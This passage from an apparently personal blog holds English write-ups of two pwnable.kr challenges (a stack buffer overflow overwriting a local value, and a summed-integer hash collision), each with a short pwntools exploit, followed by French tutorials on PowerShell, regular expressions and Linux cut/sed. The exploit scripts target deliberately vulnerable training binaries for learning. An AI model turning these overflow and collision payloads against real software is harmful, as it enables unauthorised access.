Then disassemble main() and func():

Nothing really new, let's try to run that binary. Without leaving rizin, run ood to relaunch in debug and let's add a break point just at the var = dword [arg_8h] - 0xcafebabe instruction with db addr (the address might change on your computer).

Now, run dc to start the debugging process.

Now let's check the registers with drr:

So here, eax has pouet as a value (what we entered) and esp points to eax.

0xcafebabe will be compared to the argument of the function (0xdeadbeef) and if it's true, then we'll get the system call. But it's impossible so far as the argument is already set.

Allowing us to write something is just useful for the exercise not the code itself.

So if we manage to overwrite 0xdeadbeef and replace it by 0xcafebabe we'll get access to the system call.

0xdeadbeef is locate in ebp +8, let's check that out:

And eax:

We have now two memory addresses: 0xff8e9c5c and 0xff8e9c90 that are not too far from each other. To know the distance, let's calculate it:

?w will show what's in an address. I found some tutorial using ?X but that didn't make sense to me. To see the help of those commands use ???.

So the difference between the two addresses is 52 bytes. That'd be our buffer.

Exploit!

Using pwntools:

from pwn import *

context.update(arch="i386", os="linux")
e = ELF("./bof")

payload = b"A" * 52 + p32(0xcafebabe, endian="little")

p = e.process(level="error")
p.recvline()
# overflow me:
p.sendline(payload)
p.interactive()

I found a lot of cool new techniques for pwntools here.

And that's it! It works locally and you'll have to modify the code for the remote exploit yourself, but it isn't too hard, don't worry!

Pwnable.kr - Collusion: Write up

chris — Wed, 03 Feb 2021 21:37:16 +0000

This a fun challenge that is good to practice debugging and reading C code (which I don't really know).

A collusion is giving a message that has the same signature than your encoded password. Like your password is saved in an encoded way in a database with a hashing function X, when you log in to the service, you send your password which is hashed to X and that is checked with the database. If you give directly the hash Y that is equal to X, then you managed to log in without finding the password. For example, MD5 is vulnerable to it (other ciphers too). It's due to the limitations of the calculation of the hash (I think).

So the main code is:

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
        printf(res);
    }
    return res;
}

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}

From here, there are a couple of interesting sections.

unsigned long hashcode = 0x21DD09EC;

This section defines a global variable hashcode. We'll get back to it later.

unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
        printf(res);
    }
    return res;
}

This function will get a character (i.e. a string) and then cast it into a vector (i.e. an array). That's the int* ip = (int*)p; section. You should definitely read more because it's quite central to the work here.

Then, the loop will iterate over the vector and get all the values of ip and sum them to return the result.

After that, the main() function:

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}

Which can be described in 3 steps:

check if you have strictly one argument to the command line call
argument should be 20 bytes long
if the given password is equal to hashcode then we pwned the challenge.

What do we do from here?

0x21DD09EC is our first clue. We can't do much with that, let's transform this in decimals (it makes sense later).

Python 3.9.1 (default, Dec 13 2020, 11:55:53)  [GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x21DD09EC
568134124
>>>

Then the check_password is our second step.

The loop goes 5 times and return a result. This means that whatever we give the function will be added 5 fold, hence:

568134124 = 5x

Then:

568134124 / 5 = x

But!

>>> 568134124 / 5
113626824.8

We need to work with integers here not floats. Then, let's modify the equations to enter the remainder or the function:

568134124 = 4x + x'

(There is probably a more mathy-way to do that, let me know in the comments, I left school quite a while ago)

>>> 568134124 // 5
113626824

Then:

568134124 = 4 * 113626824 + x'
568134124 - (4 * 113626824) = x'
113626828 = x'

Test it:

>>> 568134124 == (4 * 113626824) + 113626828
True

All good. Let's write the exploit. For that, we are going to use pwntools.

The two decimals section will be in little endian and for a 32-bits architecture, thus:

p32(113626824, endian='little')
# and
p32(113626828, endian='little')

Here is the exploit:

from pwn import *

payload = p32(113626824, endian='little') * 4 + p32(113626828, endian='little')
p = process(['./col', payload])
ret = p.recvline()
print(ret)

Why the payload before the call to the process? Because we need to pass the payload as a command line argument.

Why the whole calculation and not just the result? Because we need a 20 bytes payload. We are passing the instruction and not just the result. The details of the how and the why are a bit obscure to me. I tried a couple of things and this worked in the end.

~/.../pwnable.kr/2 >>> python boum.py                                                                                        
[+] Starting local process './col': pid 99792
b'/bin/cat: flag: No such file or directory\n'

And it's pwned! Hope you enjoyed it!

Powershell (quand on ne connaît que Linux)

chris — Thu, 28 Jan 2021 18:55:18 +0000

Powershell est une programme de ligne de commande qui marche sur différentes plateformes mais est essentiellement utilisée sur Windows. C'est codé en .NET (prononcé: dot net) un framework pour C# (prononcé: si charp) et donc répond a certains concepts de programmation orientée objet comme... les (surprise) objets.

En gros, chaque fonction que l'on verra reverra comme résultat une structure sur laquelle on pourra agir. Contrairement à Bash (voir articles précédents 1 et 2) qui nous retourne plutôt des listes ou des variables.

Si vous ne connaissez pas les concepts de programmation orientée objet, ce n'est pas grave. Dans cet article, nous allons surtout essayer de refaire les exercices des deux premiers articles en Powershell et nous n'aborderons pas des concepts trop avancés.

Powershell est bien calibré pour les environnements Windows, ce programme vous permet non seulement de travailler avec du texte et des fichiers mais aussi de gérer votre ordinateur... Scripter avec Powershell est un vrai atout lorsque vous travailler sur ce type de machines.

Si vous voulez plus d'informations, la documentation de Microsoft est plutôt extensive.

Bases

Si vous utilisez Windows 10 ou plus, Powershell devrait déjà être installé et vous pouvez trouver la ligne de commande en cherchant "powershell" dans vos programmes.

Si vous utilisez Linux et que faire des trucs comme ça n'hérisse pas votre poil de libriste, il y a moyen d'installer Powershell sur votre machine ! Même via Snap, si ce n'est pas beau tout ça !

Voyons quelques fonctions de base :

Linux (Bash)	Powershell	Options
`cat`	`Get-Content`	`-Path`, `-Tail`, `-Head`
`pwd`	`Get-Location`
`cd`	`Set-Location` (or `cd`)
`ls`	`Get-ChildItem` (or `dir`)	`-Path`, `-File`, `-Directory`, `-Filter`, `-Recurse`, `-Hidden`, `-ErrorAction SilentlyContinue`
`cp`	`Copy-Item`	`-Path`, `-Destination`
`mv`	`Move-Item`	`-Path`, `-Destination`
`mkdir`	`New-Item`	`-ItemType`, `-Name`
`wc`	`Measure-Object`	`-word`
`man`	`Get-Help`
`wget`	`Invoke-WebRequest`	`-Uri`, `-OutFile`

Les majuscules ne sont pas obligatoire, Get-Content et get-content sont équivalents. Cependant, n'hésitez jamais à perdre un peu de rapidité à la frappe pour une meilleure lecture.

Ok, eh bien, réimplémentons les exercices des premiers articles en Powershell !

Mouvements

Trouvons où nous sommes dans l'arbre (pwd) :

Get-Location

L'équivalent de / sous Linux est C:\ sous Windows.

Déplaçons-nous :

Set-Location C:\

Ou si vous êtes sous Linux avec Powershell :

Set-Location /

Lancer Set-Location sans arguments est comme lancer cd tout seul, il vous amènera au dossier de base de votre compte (C:\Users\chris ou /home/chris en fonction de votre système).

Lister le contenu d'un dossier :

dir
# ou bien
Get-ChildItem

Jouez avec les options indiquées sur le table, par example que font les fonctions suivantes ?

Get-ChildItem -File
Get-ChildItem -Directory
Get-ChildItem -Directory -Recurse

Création de fichiers et de dossiers

Pour la création de fichiers et de dossiers, c'est même plus simple qu'avec
Linux, puisqu'il nous suffira d'utiliser une seule fonction : New-Item (nouvel
object).

Pour un fichier :

New-Item -ItemType file -Name pouet

Donnera :

    Directory: /home/chris/Documents/blog

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
----------          27/01/2021    16:07              0 pouet

Et pour un dossier :

New-item -ItemType directory -Name dirdir

Résultat :

    Directory: /home/chris/Documents/blog

Mode                 LastWriteTime         Length Name
---------                 -------------         ------ ----
d----          27/01/2021    16:07                dirdir

Déplaçons le fichier pouet dans dirdir :

# Windows
Move-Item -Path pouet -Destination dirdir\pouet

# Linux
Move-Item -Path pouet -Destination dirdir/pouet

Que les choses sérieuses commencent !

Téléchargeons notre premier fichier :

Invoke-Webrequest -Uri "https://archive.org/stream/Frankenstein1818Edition/frank-a5_djvu.txt" -OutFile texte_complet.txt

Normalement, ici nous utiliserions grep. Sauf qu'en Powershell ça n'existe par vraiment. Il faudra utiliser Where-Object si vous recherchez des objets retournés par une autre fonction Powershell (comme Get-Process) ou bien Select-String quand vous travaillez avec des chaînes de caractères (des strings en anglais).

Donc :

Select-String -Path texte_complet.txt -Pattern "love"

Vous remarquez que le résultat est plus précis par défaut que la version par défaut de grep. En effet, sans devoir le préciser, Select-String indique le numéro de la ligne ainsi que le fichier où la résultat a été trouvé.

Et la version plus précise :

Select-String -Path texte_complet.txt -Pattern " love "

Pour compter le nombre d'occurrences :

Select-String -Path texte_complet.txt -Pattern " love " | Measure-Object -Word

Ok, super. Passons à la liste de mots de passe :

Invoke-WebRequest -Uri "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt" -OutFile liste_mdp.txt

Pour trier de façon unique, nous utiliserons la même logique sur Linux : afficher le texte et trier le résultat.

Get-Content liste_mdp.txt | Sort-Object -Unique

Et créons un fichier d'un coup

Get-Content liste_mdp.txt | Sort-Object -Unique > nouvelle_liste.txt

Et voilà le travail !

Fonctions plus avancées

Passons maintenant au second article, et réessayons de refaire tout cela en Powershell !

Cette instruction est parfaitement valide en Powershell :

echo 'Robert;Dupont;rue du Verger, 12;
"Michel";"Durand";" av. de la Ferme, 89 ";
"Michel ""Michele""";"Durand";" av. de la Ferme, 89";
"Michel;Michele";"Durand";"av. de la Ferme, 89";
' > exemple.csv

Maintenant, les choses se compliquent. Powershell n'a pas vraiment d'équivalent 1 à 1 pour cut (voir cette réponse sur stackoverflow -- en anglais). Il y a plusieurs solutions sur Internet, nous allons prendre une qui parait un peu moins simple mais qui pourrait être utile dans le futur.

Get-Content exemple.csv | ForEach-Object {$_.Split(";")[1]}

Que se passe-t-il ici ? La première partie avant le | récupère le contenu de exemple.csv et l'envoie via | à la fonction suivante. ForEach-Object est une fonction qui va nous permettre de travail sur un objet énumérable.

En programmation, un énumérable est une structure, ordonnée ou non qui contient multiples valeurs, dès fois de type différent mais pas nécessairement. Par exemple, un dictionnaire en Python : [1, "un", True]. Retenez que ce type de structure contient multiple valeurs et peut donc être passée dans une boucle qui va... (vous le devinez) l'énumérer.

Ensuite, $_ est une variable, ce type de variable et de notation est assez commun en Powershell lorsqu'on utilise des pipes (|). Donc ici $_ fait référence à exemple.csv.

La fonction split (assez commune, elle existe en Ruby et en Python entre autres), va couper la ligne à un délimiteur donné ici ;.

[1] va prendre la... seconde occurrence après le délimiteur !

Attention, les ordinateurs comptent à partir de 0. Donc pour prendre le premier objet après le split, ça sera [0] et non [1].

Donc, nous aurons comme résultat :

PS /home/chris/Documents/blog/dirdir> Get-Content exemple.csv | ForEach-Object {$_.Split(";")[1]}
Dupont
"Durand"
"Durand"
Michele"

Essayez de jouer avec les délimiteurs et les index ([1], [0]). Par exemple que donne l'index [-2] (Get-Content exemple.csv | ForEach-Object {$_.split(";")[-2]}) ?

Variables

Pour déclarer une variable en Powershell, $ sera aussi nécessaire pour la
déclaration. Donc :

$nombre_deux=2
echo $nombre_deux

Et la réassignation fonctionne aussi de la même manière :

$nombre_deux=2
echo $nombre_deux

Résultat : 2

$nombre_deux=3
echo $nombre_deux

Résultat : 3

boucles

En ce qui concerne les boucles, nous avons déjà vu la fonction ForEach-Object qui fonctionne avec des objets, donc des structures assez spécifiques. Il existe un autre manière de faire des boucles avec ForEach.

ForEach ($ligne in Get-Content exemple.csv) {echo $ligne}

Pour plus d'information sur les boucles en Powershell, la documentation de Microsoft est assez bien écrite.

Vous vous souvenez de cette ligne cryptique ?

somme=0; for i in $(seq 0 100); do somme=$(expr $somme + $i); done; echo $somme

Essayons de le faire en Powershell !

$global:somme=0; ForEach ($i in 0..100) {$somme = $somme + $i}; echo $somme

Pourquoi global devant la déclaration de la variable somme ? Parce que les variables en Powershell on un scope.

Revenons à la notion de bloc mentionnée plus haut.

Exemple 1 :

function {
    bloc
}

Exemple 2 :

if condition {
    bloc
} else if condition 2 {
    bloc 2
} else {
    bloc 3
}

Un bloc est une instruction ou une suite d'instructions de code qui se trouvent à l'intérieur d'une fonction (que ça soit une fonction en tant que telle ou dans une branche d'une fonction conditionnelle comme un if). En fonction des langages de programmation, les variables peuvent voyager entre les blocs ou non.

Dans le cas ou ce n'est pas possible, on parle de variable "locale" (à savoir locales au bloc) ou globale (globales au programme entier).

Donc ici, Powershell a besoin qu'on définisse la variable $somme comme globale afin de réaliser la dernière instruction echo $somme qui se trouve à l'extérieur du bloc de la fonction ForEach.

Si nous ne le faisons pas, $somme à la fin de l'instruction sera égal à 0. En effet, $somme dans le bloc de la fonction ForEach est une variable locale et donc n'est pas la même que la variable $somme définie en-dehors de la fonction.

À part cela, seq 0 100 a son équivalent 0..100 et pas besoin d'utiliser expr pour réaliser une fonction arithmétique.

Cas pratique : Fouiller une page web

Allons-y, Alonso !

Invoke-WebRequest -Uri "https://en.wikipedia.org/wiki/Hedy_Lamarr" -OutFile page.html

Ensuite :

Select-String -Path page.html -Pattern 'href=\"/wiki/'

Ce coup-ci, on utilisera la pleine puissance de Select-String plutôt que de le faire passer dans différents processus. De plus, nous avons déjà récupéré la liste des liens internes de la page qui commencent avec /wiki/.

Note sur les regex : Select-String peut parfaitement utiliser des regex pour des recherches avancées. Par exemple : Select-String -Path page.html -Pattern '\w'. Voir l'article sur les regex pour plus d'informations sur ce type d'instructions.

Cependant, la liste n'est pas "propre", il est encore difficile de travailler avec car les objets retournés par la fonction Select-String ne nous permettent pas de travailler dessus directement. Du coup, nous allons préciser notre
recherche et puiser dans les ressources de Powershell.

Nous devons d'abord récupérer la liste des chaînes de caractères qui commencent par href="/wiki et qui se terminent par un espace. En regex, ça donne : href=\"/wiki/\S+ :

Select-String -Path page.html -Pattern 'href=\"/wiki/\S+'

Rappel : \S tout caractère sauf espace (donc, alphanumérique et spéciaux) et + cherchera de une à infini nombre d'occurrences.

Résultat :

(...)
/home/chris/Documents/blog/page.html:1250:  <li id="footer-places-about"><a href="/wiki/Wikipedia:About"
title="Wikipedia:About">About Wikipedia</a></li>
/home/chris/Documents/blog/page.html:1251:  <li id="footer-places-disclaimer"><a href="/wiki/Wikipedia:General_disclaimer"
title="Wikipedia:General disclaimer">Disclaimers</a></li>

Nous allons maintenant itérer sur chaque objet de notre recherche

Select-String -Path page.html -Pattern 'href=\"/wiki/\S+' | ForEach-Object {$_.Matches}

Résultat :

(...)
Groups   : {0}
Success  : True
Name     : 0
Captures : {0}
Index    : 38
Length   : 41
Value    : href="/wiki/Wikipedia:General_disclaimer"

Voilà quelque chose d'intéressant ! Ce que nous voyons, ce sont les objets résultat de la recherche. Donc en réitérant dessus, nous pourrons récupérer simplement la valeur de ces recherches avec les champs .Value pour l'objet .Match qui appartient à .Matches.

Select-String -Path page.html -Pattern 'href=\"/wiki/\S+' | ForEach-Object {$_.Matches} | ForEach-Object {$_.Value}

Résulat :

(...)
href="/wiki/Main_Page"
href="/wiki/Main_Page"
href="/wiki/Help:Contents"
href="/wiki/Special:WhatLinksHere/Hedy_Lamarr"
href="/wiki/Wikipedia:About"
href="/wiki/Wikipedia:General_disclaimer"

Il faut encore trier les résultats :

Select-String -Path page.html -Pattern 'href=\"/wiki/\S+' | ForEach-Object {$_.Matches} | ForEach-Object {$_.Value} | Sort-Object -Unique

Maintenant rajouter les liens pour les télécharger :

Select-String -Path ../page.html -Pattern 'href=\"/wiki/\S+' | ForEach-Object {$_.Matches} | ForEach-Object {$_.Value} | Sort-Object -Unique | ForEach-Object {$_.replace('href="/wiki/', "https://fr.wikipedia.org/wiki/")} > liens.txt

Avant de tout télécharger, vérifions quel est le format de nos liens :

Get-Content -Head 5 -Path liens.txt

Résultat :

PS /home/chris/Documents/blog/dirdir> Get-Content -Head 5 -Path liens.txt
https://fr.wikipedia.org/wiki//Film"
https://fr.wikipedia.org/wiki/%C3%91uSat"
https://fr.wikipedia.org/wiki/A_Lady_Without_Passport"
https://fr.wikipedia.org/wiki/Alexis_Granowsky"
https://fr.wikipedia.org/wiki/Alfred_Abel"

Nous risquons d'avoir un soucis ici, car le " à la fin des lignes risque de casser le lien. Donc, nettoyons cela rapidement :

ForEach ($ligne in Get-Content liens.txt) {$ligne.replace('"', '') >> liens_propres.txt}

Et téléchargeons le tout !

Invoke-WebRequest retourne un objet avec les champs suivants. Les champs les plus intéressants sont :

Content (le contenu de la page)
Links (voir la dernière partie de cet article)

ForEach ($ligne in Get-Content liens_propres.txt) {Invoke-WebRequest -Uri $ligne -OutFile $ligne.replace("https://", "").replace("/", "_")  }

Ici, nous nettoyons les liens des / qui peuvent casser le chemin du fichier (particulièrement sous Linux), c'est pour cela que l'on enchaîne deux méthodes replace lorsque l'on crée le fichier.

Go go powershell

Powershell a encore quelques astuces :

ForEach-Object peut être remplacé par le caractère % et donc les boucles ressemblent à % { bloc }
GetChild-Item peut être remplacé par gci
Set-Location peut être remplacé par cd
Invoke-WebRequest peut télécharger les liens d'une page web d'un coup : (Invoke-WebRequest -Uri "https://aka.ms/pscore6-docs").Links.Href.

Essayez de refaire l'exercice avec ces astuces.

Quelques liens pour aller plus loin :

Les regex, attrapez les tous !

chris — Wed, 20 Jan 2021 22:39:48 +0000

Est-ce un Pokémon ? Non, mais le thème de cet article vous permettra de tout attraper.

Vues rapidement dans un article précédent, les expressions régulières sont un langage de programmation qui va vous permettre de filtrer du texte de façon très précise.

Pour suivre les exercices de cet article, je vous invite à ouvrir une nouvelle fenêtre ou onglet avec https://regex101.com/ afin de tester en temps réel les commandes.

Regex101.com est un site qui vous permet de tester vos expressions régulières sur un texte de votre choix.

Pour être sûr que tout fonctionne, assurez vous que vous avez les options "global" et "multiligne" activées en cliquant sur le bout droit de la première fenêtre :

Bases

Allons directement au vif du sujet. Dans cette première partie, nous allons travailler sur ce texte de Guillaume Apollinaire (que vous pouvez copier dans la seconde fenêtre sur Regex101) :

NUIT RHÉNANE  (1913)


Mon verre est plein d’un vin trembleur comme une flamme
Écoutez la chanson lente d’un batelier
Qui raconte avoir vu sous la lune sept femmes
Tordre leurs cheveux verts et longs jusqu’à leurs pieds

Debout chantez plus haut en dansant une ronde
Que je n’entende plus le chant du batelier
Et mettez près de moi toutes les filles blondes
Au regard immobile aux nattes repliées


Le Rhin le Rhin est ivre où les vignes se mirent
Tout l’or des nuits tombe en tremblant s’y refléter
La voix chante toujours à en râle-mourir
Ces fées aux cheveux verts qui incantent l’été

Mon verre s’est brisé comme un éclat de rire

Une question de caractères

Les regex comprennent le texte comme un ensemble de caractères. On peut regrouper ces caractères grossièrement en trois groupes :

les caractères alphabétiques (représentés par a-zA-Z ou \w)
les caractères numériques (représentés par 0-9 ou \d)
les caractères spéciaux (!@#$%^&*():"" etc.)

dans la première fenêtre écrivez mais n'appuyez pas sur Entrée : \w

Vous remarquez que tous les caractères alphabétiques sont surlignés en bleu. Donc, ils sont couverts par la recherche \w. Ce n'est pas le cas de certains caractères spéciaux comme "à" ou "ù". Donc, nous filtrons ici toutes les lettres sans accents.

Si l'on effectue la recherche a-zA-Z, on trouvera le même résultat.

effacez \w et écrivez maintenant : \d

Ici tous les chiffres sont couverts.

Il est aussi possible de choisir tous les caractères sauf les caractères alphabétiques avec \W et pareil pour tous les caractères sauf numériques : \D

Attention : utiliser une recherche par négation donne des résultats différents. C'est-à-dire que \d n'est pas équivalent à \W. \W donnera comme résultat aussi des caractères comme les espaces, les caractères spéciaux et les retours à la ligne.

Un peu comme un.e typographe qui prépare une page, vous devez penser le texte comme un ensemble de caractères qui dessinent le texte ; cela comprend les espaces et les retours à la ligne.

Essayez des recherches avec (a-zA-Z) (tout caractères entre "a" et "z" minuscule ou majuscule) et modifiez les intervalles (exemple : (a-cA-O)). Quel est le résultat ? Que donne la recherche : (1-3) ?

Note : les caractères () définissent un groupe de recherche

Après les caractères alphanumériques (a-zA-Z0-9), nous pouvons aussi rechercher des caractères plus spécifiques comme les espaces (insécables et sécables) \s, les retours à la ligne \n, les retours chariots \r. #salutLesTypographes

Une question de position

Que ce passe-t-il lorsque vous recherchez un mot particulier, par exemple, tous les mots qui commencent par "C".

Pour cela, les regex utilisent des caractères de position: ^ pour définir le début d'une ligne $ pour définir la fin d'une ligne.

Donc pour toutes les lignes commencent par un caractère alphabétique : ^\w

Et toutes les lignes qui commencent par "C" : ^C (majuscule vus que dans ce texte toutes les lignes commencent par une majuscule).

Pour rechercher tous les débuts de chaîne de caractères (en gros un groupe de lettres et de chiffres séparées par un espace), il faudra utiliser l'ancre : \b. Exemple : tous les mots commençants par "c" - \b[c].

Les parenthèses carrées [] trouveront une occurrences dans la liste présente à l'intérieur. Donc [c] trouvera la lettre "c". La recherche [ces] recherchera les occurrences de "c", "e" ou "s". Dans le cas où vous désirez faire une recherche pour un groupe, il faudra utiliser les parenthèses simples : (ces). Cette dernière recherche filtrera toutes les occurrences du groupe de lettres "ces".

\b est un peu malicieux car il recherchera des espaces avant un caractère alphabétique mais pas après sauf si vous le précisez en le plaçant à la fin. L'inverse de \b est \B ; tout caractère alphabétique non précédé par un espace donc "à l'intérieur d'un mot mais pas au début".

Essayez la recherche suivante : \b(err) et ensuite (er)\b.

Pour recherchez la lettre "r" qui ne se trouve pas au début d'un mot, ni à la fin d'un mot : \B[r]\B ou bien \B[r]\S. Ici \S représentes tous les caractères qui ne sont pas des espaces.

Recherche modulaire

C'est déjà beaucoup, mais maintenant, il est possible de rajouter un couche de précision dans nos recherches grâce à des "modules".

Nous avons déjà vu ^ et $ qui définissent le début et la fin d'une ligne. Donc, par exemple : [a-z]\.[a-z]$ trouvera toutes les lignes avec une lettre, suivie d'un point (".") et un caractère alphabétique.

Pourquoi des \ devant les caractères spéciaux ? Chaque caractère a une signification et une fonction particulière. Nous voulons considérer ces caractères de façon littérale, donc nous devons les échapper avec le caractère \. C'est-à-dire, préciser à l'ordinateur qu'il ne faut pas les considérer comme des fonctions mais comme de simples caractères. C'est le cas pour les /, ., ^ ou $ si vous recherchez ces caractères dans un fichier.

Que fait "." lorsqu'il n'est pas échappé ? Les regex le remplacent par n'importe quel caractère. Donc par exemple, [c].[s] donnera des résultats pour un mot commençant par "c", finissant par "s" mais ayant n'importe quel caractère, lettre, chiffre ou caractère spécial en seconde position.

Mais attention, car lorsqu'il est à l'intérieur de parenthèses carrées, ^ défini une négation. Donc ^a-z et [^a-z] ne donneront pas le même résultat ! La première version prendra toutes les lignes qui commencent par une lettre et le suivant toutes les occurrences qui n'ont pas de lettres.

+ et * associé aux ancres comme \d ou \w vont rechercher respectivement une ou un nombre illimité d'occurrences ou, dans le cas de *, zéro ou un nombre illimité d'occurrences.

Vous pouvez aussi préciser le nombre d’occurrences avec les moustaches {}. Par exemple, \w{1, 4} cherchera entre une lettre suivie de jusque trois autres lettres.

Cas pratique

Ici, vous devez être un peu perdu.e.s, donc essayons de prendre des exemples pratiques.

Si vous n'avez pas lu les articles précédents, je vous invite à le faire dans le cas où certaines parties des exemples ne sont pas claires. Premier article et second article

Regex101 est fun, mais mettons nous dans une situation réaliste.

Téléchargeons ce fichier de logs :

wget https://gist.githubusercontent.com/christalib/0dd247443fb8251af3ff24c5eb511073/raw/ca9a0b1f8ce90529cc299dea87002f1eb21234a8/gistfile1.txt -O access_log.txt

Le fichier est assez imposant :

cat access_log.txt | wc -l
# 1173

Il est possible de faire toutes les opérations que nous avons vues précédemment avec cut, cat, | etc.

Des chiffres...

Commençons par faire des opérations avec les chiffres.

Nous voulons : tous les groupes de plus de trois chiffres.

grep --color -E "[0-9]{3,}" access_log.txt

L'option -E utilisera les regex étendues (voir fin de l'article pour plus de détails). L'option --color coloriera le résultat de notre recherche.

Si tout va bien, votre résultat ressemblera plus au moins à ceci :

Vous remarquerez que la première partie de la ligne est une adresse IPv4. Il est possible de les filtrer avec : cat access_log.txt | cut -d " " -f 1. Mais comme nous faisons des regex, faisons-le à la main !

Une adrets IPv4 existe sous cette forme : chiffre entre 0 et 9 répété de 1 à 3 fois, suivi d'un point, 3 fois puis chiffre de 0 à 9.

Donc ici, nous avons un chiffre de 0 à 9 répété de une à trois fois :

0.
1.
2.
...
123.
...
567.
...
999.

En regex : [0-9]{1,3}\.

{3} le groupe est répété trois fois

0.0.0.
...
123.123.123.
...
999.999.999.

En regex : ([0-9]{1,3}\.){3}\.

Finalement le groupe est terminé par un chiffre de 0 à 9, répété de une à trois fois mais pas suivi d'un point.

0.0.0.0
...
123.123.123.123
...
999.999.999.999

En regex : ([0-9]{1,3}\.){3}[0-9]{1,3}

Et la commande complète :

grep -E "^([0-9]{1,3}\.){3}[0-9]{1,3}" access_log.txt

^ donne l'indication que l'occurrence est au début de la ligne.
() définissent un premier groupe d'occurrences qui sera traité ensemble.
[] définissent un groupe dans lequel il y aura au moins un résultat
0-9 définit un nombre
{1,3} définit une occurrence qui sera répétée entre 1 et 3 fois
\. échappe le "." pour être considère comme un simple caractère

Et voilà le travail !

Que faire pour arriver au même résultat qu'avec cut ? C'est-à-dire sans avoir la ligne entière ? Rien de plus simple, ajoutons l'option -o pour dire à grep qu'il ne faut montrer que les occurrences et non toute la ligne.

grep -oE "^([0-9]{1,3}\.){3}[0-9]{1,3}" access_log.txt | sort -u

... et des lettres

Regardez le dessin suivant :

Il y a une erreur dans le regex, utilisez celui-là : (([a-zA-Z\-0-9]+\\.)[a-zA-Z]{2,})$

Essayez de deviner que trouvera ce regex avant de le lancer, ou bien, lancez le simplement ! #yolo

Conclusion et remarques

Bon, c'était un peu prise de tête quand même.

Les regex sont un outil très puissant et vraiment utile lorsque vous faites de la recherche dans des centaines voire des milliers de fichiers. Nous avons vu grep mais sachez qu'il existe zgrep qui permet de chercher dans des fichiers compressés comme les .zip.

Il y a aussi une version plus puissante de grep, ripgrep qui décoiffe !

Les regex sont aussi un outil très compliqué, leurs possibilités sont très étendues et nous n'avons vu que la surface.

Leur implémentations peuvent varier aussi selon les langages. Si vous codez en Python, il est possible que certaines options ne soient pas disponibles. Par exemple, ce site permet de comparer certaines options des regex dans différents langages. Car les standards de regex varient en fonction des langages. Pourquoi faire simple...

Pour finir, j'espère que vous avez pu suivre cet article, et que les regex ont un peu plus de sens pour vous. Vous pouvez vous entraînez aux regex sur ce site web quand vous vous ennuyez : https://regexcrossword.com/challenges.

Merci à Dattaz et E. pour les relectures !

La ligne de commande Linux pour les impatient.e.s (2) : cas pratique

chris — Thu, 14 Jan 2021 15:27:00 +0000

Avant de commencer : Il est possible que lorsqu'on lance une commande, on se trompe, souvent même d'ailleurs et moi le premier. Cependant, il existe une commande magique qui permet d'interrompre le processus en cours : CTRL+C. Il vous suffira d'appuyer sur la touche "contrôle" en même temps que "c" et le processus en cours sera interrompu immédiatement. On stoppe, on corrige et on recommence !

Cut

Dans l'article précédent, nous avons pu voir comment gérer des listes à colonne unique avec grep. Maintenant qu'en est-il des cas où les lignes sont un peu plus denses d'informations ?

Il existe un outil simple : cut qui nous permettra de régler une grande partie de nos soucis.

Prenons un format comme le csv et l'exemple suivant:

Robert;Dupont;rue du Verger, 12;
"Michel";"Durand";" av. de la Ferme, 89 ";
"Michel ""Michele""";"Durand";" av. de la Ferme, 89";
"Michel;Michele";"Durand";"av. de la Ferme, 89";

Sauvons le directement dans un fichier avec la commande suivante :

echo 'Robert;Dupont;rue du Verger, 12;
"Michel";"Durand";" av. de la Ferme, 89 ";
"Michel ""Michele""";"Durand";" av. de la Ferme, 89";
"Michel;Michele";"Durand";"av. de la Ferme, 89";
' > exemple.csv

echo renvoie l'information que vous lui donner à l'instar d'un écho. Donc ici, echo enverra les informations que nous avons copiées et collées depuis la page Wikipédia. Ensuite le chevron simple (>) créera et remplira un nouveau fichier exemple.csv avec les informations que nous lui envoyons.

Astuce : le copier coller dans le terminal fonctionne dès fois différemment en fonction des configurations. Vous pouvez coller en appuyant sur la touche majuscule en même temps que "contrôle" et "v" ou bien, en faisant clic droit et en choisissant l'option "coller".

Vérifions que le fichier n'est pas vide avec cat exemple.csv. Si tout va bien, les informations que nous avons collées s'y trouvent.

cut fonctionne avec deux options principales : -d pour définir le délimiteur et -f pour choisir la colonne que vous voulez récupérer.

Pour un premier essai, essayons : cut -d " " -f 1. Ici nous définissions une espace comme délimiteur et prenons le premier résultat après ce délimiteur.

cat exemple.csv | cut -d " " -f 1

Donne comme résultat :

Robert;Dupont;rue
"Michel";"Durand";"
"Michel
"Michel;Michele";"Durand";"av.

Tout s'est bien passé ! Ce sont tous les premiers résultats de la première colonne avant une espace.

Expérimentez avec d'autres délimiteurs comme ";", "," ou "." et d'autre choix de colonnes (vous pouvez sélectionner plusieurs colonnes comme ceci : -f 1,2), qu'observez-vous ?

Sed

Il est possible que vous ayez à modifier les données de votre colonne. Travailler avec les données, c'est souvent un peu de code et beaucoup de nettoyage. sed est une commande qui va vous permettre à remplacer des caractères selon une condition. En gros, c'est comme le chercher remplacer de n'importe quel éditeur de texte mais ici, il sera possible de l’enchaîner à notre processus.

La syntaxe de sed fonctionne ainsi : sed mode/texte à changer/comment le texte doit être changé/option fichier. Donc pour notre objectif : sed 's/;/ /g'. Ici nous utilisons le mode s qui signifie substitution ; nous remplaçons les ";" par des espaces et nous utilisons l'option g ce qui signifie "global" ; c'est-à-dire que nous appliquons cette condition à toutes les occurrences du fichier (précision: à toutes les occurrences de la ligne).

Commençons par récupérer les informations depuis notre csv :

cat exemple.csv | cut -d " " -f 1

Et remplaçons les ";" par une espace :

